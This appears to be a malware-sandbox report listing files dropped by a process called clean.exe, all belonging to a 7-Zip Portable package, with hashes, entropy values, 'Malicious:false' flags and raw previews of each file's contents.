                                                                                                                                                                                                                                                                  Entropy (8bit):4.95656764379379
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:7ywJx4ir0GPLwhuqSGSLdyHal8xs8T95LvNigwJa9YlbQGL6rZgU7ZT4sUdJrt:7yw4qXchL6Ld0p7T9dvkgwJa9e8G4a
                                                                                                                                                                                                                                                                  MD5:5AD5252A475D3AEE6DA6862DBE30E559
                                                                                                                                                                                                                                                                  SHA1:A68D0EC8ED8CC08EDAE40595F451631A5F98D665
                                                                                                                                                                                                                                                                  SHA-256:AFC324ADC0769DFCB1F00294B1972B76A2830D08299624B1EC15766303086115
                                                                                                                                                                                                                                                                  SHA-512:08530F3A1D8C36AE0D85665B73FF86D0F904DA8F62878B58827A32C2D20759B4434BBD77EE896D05CCC834618C8FF4D730031B5B94218A1AEB5A3A9F13022368
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:7-Zip 18.04 beta..----------------....7-Zip is a file archiver for Windows.....7-Zip Copyright (C) 1999-2018 Igor Pavlov.....The main features of 7-Zip: .... - High compression ratio in the new 7z format.. - Supported formats:.. - Packing / unpacking: 7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM... - Unpacking only: AR, ARJ, CAB, CHM, CPIO, CramFS, DMG, EXT, FAT, GPT, HFS,.. IHEX, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, QCOW2, RAR, .. RPM, SquashFS, UDF, UEFI, VDI, VHD, VMDK, XAR and Z... - Fast compression and decompression.. - Self-extracting capability for 7z format.. - Strong AES-256 encryption in 7z and ZIP formats.. - Integration with Windows Shell.. - Powerful File Manager.. - Powerful command line version.. - Localizations for 85 languages......7-Zip is free software distributed under the GNU LGPL (except for unRar code)...Read License.txt for more information about license....... This distribution package contains the follow

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\7-ZipPortable.ini

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Generic INItialization configuration [Activate]
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1317
                                                                                                                                                                                                                                                                  Entropy (8bit):5.310095119777337
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:J0k+0I6RP3ACBkuVwuFb1bHuMZu912YDjMvtIl+:J09wRIWkaw8FHBaN+
                                                                                                                                                                                                                                                                  MD5:C10FF82D8D007A6E8F1B0587AA876B17
                                                                                                                                                                                                                                                                  SHA1:5BD2E4CB8E2BB7FE80D154E0499B82257E367DBD
                                                                                                                                                                                                                                                                  SHA-256:577B693289D71910B9AF49FEA8FD23759452A25D155F315233605A051D14B322
                                                                                                                                                                                                                                                                  SHA-512:31500B709F5251387EAD6D586EDE9C8D4D6FD2AD1B4DA93B78D3FDC7BE280AA90600D015C177A0DBDBA4D6540F1AB3D0F5E10C0C506656DA00C0A543B13680A8
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:[Launch]..ProgramExecutable=7-Zip\7zFM.exe..ProgramExecutable64=7-Zip64\7zFM.exe..DirectoryMoveOK=yes..SupportsUNC=yes....[Activate]..Registry=true....[RegistryKeys]..7zip_portable=HKCU\Software\7-zip....[FileWrite1]..Type=INI..File=%PAL:DataDir%\settings\7zip_portable.reg..Section=HKEY_CURRENT_USER\Software\7-zip..Key="Lang"..Value="%PAL:LanguageCustom%"....[FileWrite2]..Type=Replace..File=%PAL:DataDir%\settings\7zip_portable.reg..Find=%PAL:LastDrive%%PAL:LastPackagePartialDir:DoubleBackslash%\\..Replace=%PAL:Drive%%PAL:PackagePartialDir:DoubleBackslash%\\....[FileWrite3]..Type=Replace..File=%PAL:DataDir%\settings\7zip_portable.reg..Find=%PAL:LastDrive%%PAL:LastPortableAppsBaseDir:DoubleBackslash%\\..Replace=%PAL:Drive%%PAL:PortableAppsBaseDir:DoubleBackslash%\\....[FileWrite4]..Type=Replace..File=%PAL:DataDir%\settings\7zip_portable.reg..Find=%PAL:LastDrive%\\..Replace=%PAL:Drive%\\....[FileWrite5]..Type=Replace..File=%PAL:DataDir%\settings\7zip_portable.reg..Find=%PAL:LastDriveHex%,

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\Custom.nsh

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1241
                                                                                                                                                                                                                                                                  Entropy (8bit):5.507400629256791
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:+aPECTRr+Zr2jUZosBBqBThVqBQBZjEmeccBEccBZ85aGsuaLddQmhauTozTZ3:+alQr20lv6VV6sd9ebEbZAaGXaJdXap
                                                                                                                                                                                                                                                                  MD5:C27D3CD267C977CBC52336D00ECFEBD2
                                                                                                                                                                                                                                                                  SHA1:42FEEEC98F881B9A2A91D45821785B5077F02E77
                                                                                                                                                                                                                                                                  SHA-256:367606F7E1D27C30161B6693397E9EB315AEC15242AC2BF9948931850ABEA278
                                                                                                                                                                                                                                                                  SHA-512:C361DC58A89344EFC763E92F86D7C772549552C4186A1DFC4B605951755EC07290BC27DE7410D6DF129C6778044C9F99B1408C9EA60D787DA2AAD089B57DEBE9
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:${SegmentFile}....${Segment.OnInit}...; Borrowed the following from PAL 2.2, Remove on release of PAL 2.2....; Work out if it's 64-bit or 32-bit...System::Call kernel32::GetCurrentProcess()i.s...System::Call kernel32::IsWow64Process(is,*i.r0)...${If} $0 == 0....StrCpy $Bits 32....Rename "$EXEDIR\App\7-Zip64\Lang" "$EXEDIR\App\7-Zip\Lang"...${Else}....StrCpy $Bits 64....Rename "$EXEDIR\App\7-Zip\Lang" "$EXEDIR\App\7-Zip64\Lang"...${EndIf}..!macroend....${SegmentInit}.. ${If} $Bits = 64.. ${SetEnvironmentVariablesPath} FullAppDir "$EXEDIR\App\7-Zip64"...${Else}.. ${SetEnvironmentVariablesPath} FullAppDir "$EXEDIR\App\7-Zip"...${EndIf}..!macroend....${SegmentPre}...${Registry::StrToHex} ":" $9 ;$9 now contains the ASCII code for :...ExpandEnvStrings $0 "%PAL:Drive%"...${Registry::StrToHex} $0 $1 ;$1 now contains the ASCII code for current drive...${WordReplace} $1 $9 "" "+" $2.......ExpandEnvStrings $3 "%PAL:LastDrive%"...${Registry::StrToHex} $3 $4 ;$4 now contains the A

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\splash.jpg

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 416x249, components 3
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):31500
                                                                                                                                                                                                                                                                  Entropy (8bit):7.932853370879062
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:V4WKnuUADpDBTksZ7Y8SsWUzzzzD7ApyM5QxF:V4iDBTksGLshApyM2xF
                                                                                                                                                                                                                                                                  MD5:55D3E449B4B1C3120F46AB0A5520A93C
                                                                                                                                                                                                                                                                  SHA1:4EC45439444594E476E8D053B9DCB464FD3702EE
                                                                                                                                                                                                                                                                  SHA-256:6BD9A6BBEB03F93755100701FA5CFBFF120CE61AD865C70446686CD6B371ADC0
                                                                                                                                                                                                                                                                  SHA-512:57BCC05FADC42DE4867414471555B971FA6203DB5CB1DF540729C4C3AF67BB082C10F806DE2B72C4B6C3A2A1304C022CE99C5FC2ECCE7754A78C1D3A43436F13
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:......Exif..II*.................Ducky.......\.....ihttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="uuid:81B6CCDD76FDDA11936FD5DBCF9DDA5E" xmpMM:DocumentID="xmp.did:F03414C032AA11E3AB2F854E6D177ACA" xmpMM:InstanceID="xmp.iid:F03414BF32AA11E3AB2F854E6D177ACA" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A1AB94BAAA32E311BC90EE23B1A85FA6" stRef:documentID="uuid:81B6CCDD76FDDA11936FD5DBCF9DDA5E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........8BIM.%............x/4b4.Xw.....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon.ico

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:MS Windows icon resource - 7 icons, 48x48, 8 bits/pixel, 32x32, 8 bits/pixel
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):90126
                                                                                                                                                                                                                                                                  Entropy (8bit):2.3461027248158155
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:aPHbv00cCpi7U2R8vEvJf2ydi4P3vXHC7E:aP76D
                                                                                                                                                                                                                                                                  MD5:46CE1B4CFE6963A82D6C5D1F2C79461E
                                                                                                                                                                                                                                                                  SHA1:2B0338A36C59B73C31D7B21E22C894B0B916F1BF
                                                                                                                                                                                                                                                                  SHA-256:5E743DAD44C0676A923E82E6F8D90D102287D9CCB4D3A8DC5BF3439039885D45
                                                                                                                                                                                                                                                                  SHA-512:3E824F0EDBD34A6E6ECB18A43A24EE2B4D89954C34A960C5429066A9E6F753A419EF775A87F247B856DB35B01311A628D2A35503784942C726DCD74F032DA7EB
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:......00..........v... ......................h............. .(.......00.... ..%..V%.. .... ......J........ .h....[..(...0...`...............................................................!!!.&&&.(((.,,,.111.555.999.===.BBB.DDD.JJJ.MMM.PPP.VVV.YYY.\\\.aaa.eee.jjj.nnn.ppp.uuu.zzz.}}}....................................................................................................................................../...P...p"...,...6...@...J...[.1.q.Q...q......................../...P...p.................. ...=.1.[.Q.y.q....................../.."P..0p..=...L...Y...g...x.....1...Q...q.....................&/..@P..Zp..t.....................1...Q...q...................../&..PA..p[...t...................1...Q...q.................../...P"..p0...>...M...[...i...y....1...Q...q..................../...P...p.................... ...>1..\Q..zq...................../...P...p.!...+...6...@...I...Z..1p..Q...q....................../. .P.6.p.L...b...x..............1...Q...q......................,./.K.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_128.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 128 x 128, 8-bit colormap, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4892
                                                                                                                                                                                                                                                                  Entropy (8bit):7.897212286966314
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:ASDZ/I09Da01l+gmkyTt6Hk8nTRrfnvfvH/vHGiBGXyxw/+BYUDDlFNXcim5:ASDS0tKg9E05Tdnnn+qw/+B7D5PO
                                                                                                                                                                                                                                                                  MD5:3311779A8501A1C98F81ECF8C00EA985
                                                                                                                                                                                                                                                                  SHA1:F68B1A54B21F254A87764E91A37AC0D7B4F55D0F
                                                                                                                                                                                                                                                                  SHA-256:65AA5FE31365DD56341E5C051752690E74535854BD5187E1DAF4599542FC4E3D
                                                                                                                                                                                                                                                                  SHA-512:F747019024743DDE54B0C9DB6D44EC75B2DF8AAC38179776EB134F5681D05C3C28C1517287CEC3A40879F8657AF0BC1D1C49374C834C96867F44889CC56DCF46
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+...*..x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D..*.A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_16.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):527
                                                                                                                                                                                                                                                                  Entropy (8bit):7.428942768468386
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:6v/7cHEm3iIV8iFZSVlfaCX4I0Y918DWJ511huVV9+OU7DdgUvQw1:3Hp3is8wZSPfaCXEY8s7zuUOUvdrz1
                                                                                                                                                                                                                                                                  MD5:AD3BE9C474CD6E874B027284A5686179
                                                                                                                                                                                                                                                                  SHA1:EB56C85BDAB8F901A1F2E84CEB9509C3BD2134A7
                                                                                                                                                                                                                                                                  SHA-256:A428926B36FD0169369AC887D09FF87F81BF4F91D70210D8533D177A1EE8248F
                                                                                                                                                                                                                                                                  SHA-512:758EECE9EDADABCC84608B532171BED312440811014EA24D775B3289029B446959B1A8FCE48D0D942C2B97FB825A7F753C48659A930517E60D5A0470737AF074
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR................a....IDATx....Q.....5!.1 .R....bb.....)1.2.D....3@.2..(.%&.'p...w.r.{.....[k=..z.^/....R.|3...W"........@.H$...x..~...K.9.T*E.Z.P(|...eX,...h.o..`.r..B.x...n.T.[".x.\;..?)@..!..A$.....f..t....nG...t:.X,...V...~....T...|..@ ..x...|>....23...b....v.M.....P..X.."v...V*...E....sa..@.....`6.=.l'...Q..L&X..\@0.D....|..l..v..J....:.h.Z.X,..L&.Z..N..T*....Z...n.P@4......\@..D:.F6.E......0..$.r9..A$.. ...rQ..........n.9.L.g.. ....O..j...7...I..S...r..M.V.....9...T....IEND.B`.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_32.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1051
                                                                                                                                                                                                                                                                  Entropy (8bit):7.716510553113864
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:0NzxuzhOJ9vgyb4JOySvkUL/6jy2qql6wCx0eU0:bsvLvy2L/6jy2qqgwr50
                                                                                                                                                                                                                                                                  MD5:FCE0639FE33BC47441C923D1C3861A9E
                                                                                                                                                                                                                                                                  SHA1:A06BB6385BAFD200245F8051BC05E26A6062C532
                                                                                                                                                                                                                                                                  SHA-256:383B86E0376ACB55DA9124982A1C9F27EF03BDF45D30F252C69A8E9F433FE3C9
                                                                                                                                                                                                                                                                  SHA-512:4971BE60A3F4652BB8EFE505719A13C77DA6149F357A67ED92DD4203B97A461DAE59FA24C732FF2E61547403CC54A2E2AC4BD583405EDA5ACF557689A20EA796
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR... ... .....szz.....IDATx..I(.m.....!.c..2S..0dLH,(R$.Q,L......".!.0/,....xK.2.I....#..W....t......~..M...mm.S......9....................Y.....`bb.G........rpp.....&.o...@``.......LMM.............{.......$.)%.........|.@tt4FGG!OJ.S.@uu5:;;.........K.>....L. ))I...@....MMMhii......)))...'..@vv6jjj`mm.....X-|..8v.....BLLL.........V..k....!pqqATT...Drr2d2.ttt......eM{{;...000...I888..Eh..E\\.......2z....OOOQ)<tggG@....hllD[[...UF...|.....(.................TZ....CC.gyyy.........(.......bljj......*.......-r....+++...........YYY...}QQ.......CXX.vwwU.....k...............h.....u.7###1677......+.^g.ss............pvv..===......../.......caaA........qss.KKKq...<.4*P__/..}........U.....+.=.+((.....:j.....q....P.X.eee*..u.P%..>>>X]].*.6.!`./.."44.zzzb,33.333..........S...,..N-....H@ww...wrr...F...*Qj.....yyy.$);.bI.Lm..9.G.._\\.F.....[[[".L`.....>..IE..Pnzaee%.......)...........0rrr.....W.......SU{}.........bbb...&.] ..vBM.*....R.s..oF..I1....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_75.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 75 x 75, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):2244
                                                                                                                                                                                                                                                                  Entropy (8bit):7.871449868178514
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:1NN7/2VjwpSAa5rfal6kCk4Mulrg+KGC2ud9:1NN7MjwPa5vk/sbKG1ud9
                                                                                                                                                                                                                                                                  MD5:882777836AB7F0D6C8416A60577B1966
                                                                                                                                                                                                                                                                  SHA1:8C7D6F22881618E1DA110ABD0BF90EACBF617A38
                                                                                                                                                                                                                                                                  SHA-256:4CC5F83825DE15B41548587FEE1AB0A1BC6D2B1815FF7EFC80D28212FA4166D5
                                                                                                                                                                                                                                                                  SHA-512:2C75518600F766FE44562BDE09A628EEED87EECC0364DA42432FE138033AFE3E5B64F3818E214A79C4212620A4928D8E96E9E555C717076094ABD697F892B287
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR...K...K.....8Nz.....tEXtSoftware.Adobe ImageReadyq.e<...fIDATx..G.TO..k.5g.sB......E..A...(.".Lx.D...(.<..D0#zPQ1+^..E1..W..k....g........gvg.u..U.W......+..Ya. ....`...X...A.+....`...X...V..........Z.f.*...w..wU.T../.[.*t............A..}..R.....~..N.:..#..&.8.Y.XE....\.rE..+.19.!._...[.[a./.~.j..O..w...K.A.k..o#...,%.......g..j.n.<..H.y....g.-}......o...?~..7.\...|~....R.J2x.`.9sfl7.....+.,..|.,W.J.|..].<y.....?.J.j.J.G.D....m^fU.\....R.aZ...*J...e...OzO.:...CT.^.E\.5m.^.|)7n.0..{.............#.b..`m9`...Y3....r..aY.j..j......U.ZUj.-_.|.7o..L.|...p.z..F.....s.t...x..T.8.Fy../X.D.Y..t.!1....'B.e....e.......R..^...r..U.U.V)..".....}.u...n.m...qr...{5... .ki.....u.....".8|YU.@.Y#].vMY.V.\i.dY.u.V.{.t..Y.4i......K.C.v..%.....Sx.gO.{$.......q..0......(...#G..F..Ekw.}.f..._.~2m.4s#B.e....e.m.h....Gi....:v.h.....-..h...6......9s...N/...H..5~.xi.a<.!..a..4...^.|yF.ah.....,."U.....@.}.....)....iWj.O...=:.19MJi....o...Uk.M

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appinfo.ini

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Generic INItialization configuration [Details]
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):739
                                                                                                                                                                                                                                                                  Entropy (8bit):5.238289231548951
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:k8NPRTuWfOVV+E0yhyTVktH2y42WcAUvMrH64VduUw8c6fSOJv6H1Q9EGqKG:k8NPIWGVFvCVIH2y4k0ra7N8c6fSOJvq
                                                                                                                                                                                                                                                                  MD5:F7E1994CEF047B2F3C4436D833D83AFC
                                                                                                                                                                                                                                                                  SHA1:E86C0827397E98EA8979326F5AFA23515A822C61
                                                                                                                                                                                                                                                                  SHA-256:6569CA9F01F164EF45501462BC9718A66CC257816A9E7B7BEC9B807A71C0EF52
                                                                                                                                                                                                                                                                  SHA-512:DD3CB7AF437822340D95B548D28B957463CBBA0CF4E9AD8414794C7E156EBDA59A717BDC2105C6CA23459AA8F49E7BD5D907794D610A9B2A45EB627F64763E61
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:[Format]..Type=PortableAppsFormat..Version=3.5....[Details]..Name=7-Zip Portable..AppId=7-ZipPortable..Publisher=7-Zip Team & PortableApps.com..Homepage=https://portableapps.com/apps/utilities/7-zip_portable..Category=Utilities..Description=File archiver with support for 7z, ZIP, GZIP, BZIP2, TAR, RAR, etc..Language=Multilingual....[License]..Shareable=true..OpenSource=true..Freeware=true..CommercialUse=true....[Version]..PackageVersion=18.05.0.0..DisplayVersion=18.05....[Control]..Icons=1..Start=7-ZipPortable.exe....[Associations]..FileTypes=001,7z,arj,bz2,bzip2,cab,cpio,deb,dmg,fat,gz,gzip,hfs,iso,lha,lzh,lzma,ntfs,rar,rpm,squashfs,swm,tar,taz,tbz,tbz2,tgz,tpz,txz,vhd,wim,xarmxz,z,zip....[FileTypeIcons]..AllOtherIcons=archive..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\pac_installer_log.ini

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):549
                                                                                                                                                                                                                                                                  Entropy (8bit):5.016995703309935
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:EpXSg0uU/DA5WV9ARjUR0PXFj02PXFxxBAh9jAqK6oILyKi2QtKyP1wXY2x:E5SZ+WoUuvR02vL+jLK61y+eH0Y2x
                                                                                                                                                                                                                                                                  MD5:9AD121E8E1AB21580F568AB4AA76E977
                                                                                                                                                                                                                                                                  SHA1:B89E4BE6FA01635995562D09EB63684B252168C2
                                                                                                                                                                                                                                                                  SHA-256:28B0416011B1B1338204AD6E06273F874F1FF4BB5F5553342F1A7CC2155E9501
                                                                                                                                                                                                                                                                  SHA-512:1C651D45EA1E074E3179F9D9F1C8528DE6CC677469586CFC6FA571182AC1E54D1381003AC43604B581D945595E265C1CEB51DE0C340E3ED9588CEAAABE9EDDD6
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:[PortableApps.comInstaller]..Info1=Do not delete or modify this file. It may be necessary for this app to function correctly...Info2=This file was generated by the PortableApps.com Installer wizard and modified by the official PortableApps.com Installer TM Rare Ideas, LLC as the app was installed...Info3=This file should be excluded from git repositories by using the appropriate gitignore...Run=true..WizardVersion=3.5.7.0..PackagingDate=2018-05-05..PackagingTime=11:28:28..InstallerVersion=3.5.7.0..InstallDate=2018-10-15..InstallTime=16:39:03..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\7zip_portable.reg

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Windows Registry little-endian text (Win2K or above)
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1152
                                                                                                                                                                                                                                                                  Entropy (8bit):3.4722335365125145
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:Qy5hVZtrRNEES1+rRNEESryte1+nG/neIUQDFVulldp8tMrRNEESX3N+cB:QChVTrrE7ErrE7seoUNVullr82rrE7X9
                                                                                                                                                                                                                                                                  MD5:D69AB563FACD1F71C6D45F851B32DB25
                                                                                                                                                                                                                                                                  SHA1:269A9965438CCDC386A941BAC8D6306D54C6E005
                                                                                                                                                                                                                                                                  SHA-256:3B17E250EFC026D9E04A615D1F3394EE22BD80454B636079B1C3312DD47BDC72
                                                                                                                                                                                                                                                                  SHA-512:F5A9FCB0883F644B0E8C7F8AD4BC672D8470B40AB11DDE05287B80E2168C441528FF066C55FA90D0AAB2931D7C0F5B4B2423628D789E6DF5E65D2F1AC7B3D252
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.o.f.t.w.a.r.e.\.7.-.z.i.p.].....".L.a.n.g.".=.".-.".........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.o.f.t.w.a.r.e.\.7.-.z.i.p.\.F.M.].....".F.o.l.d.e.r.S.h.o.r.t.c.u.t.s.".=.h.e.x.:.....".F.o.l.d.e.r.H.i.s.t.o.r.y.".=.h.e.x.:.0.0.,.0.0.....".P.a.n.e.l.P.a.t.h.0.".=.".".....".F.l.a.t.V.i.e.w.A.r.c.0.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.0.....".P.a.n.e.l.P.a.t.h.1.".=.".".....".F.l.a.t.V.i.e.w.A.r.c.1.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.0.....".L.i.s.t.M.o.d.e.".=.d.w.o.r.d.:.0.0.0.0.0.3.0.3.....".P.o.s.i.t.i.o.n.".=.h.e.x.:.4.b.,.0.0.,.0.0.,.0.0.,.4.b.,.0.0.,.0.0.,.0.0.,.e.b.,.0.5.,.0.0.,.0.0.,.4.3.,.0.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".P.a.n.e.l.s.".=.h.e.x.:.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.c.6.,.0.2.,.0.0.,.0.0.........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.o.f.t.w.a.r.e.\.7.-.z.i.p.\.F.M.\.C.o.l.u.m.n.s.].....".R.o.o.t.F.o.l.d.e.r.".=.h.e.x.:.0.1.,.0.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\settings_readme.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):47
                                                                                                                                                                                                                                                                  Entropy (8bit):3.9559627259379075
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:bFIfMVsARqLVq3MJAWF/Hjn:JIvjq3IzFfj
                                                                                                                                                                                                                                                                  MD5:37F9A64B896BAFB08941E26783A8AB77
                                                                                                                                                                                                                                                                  SHA1:CBB3E7A5DEB501369BD506415682C002C960C681
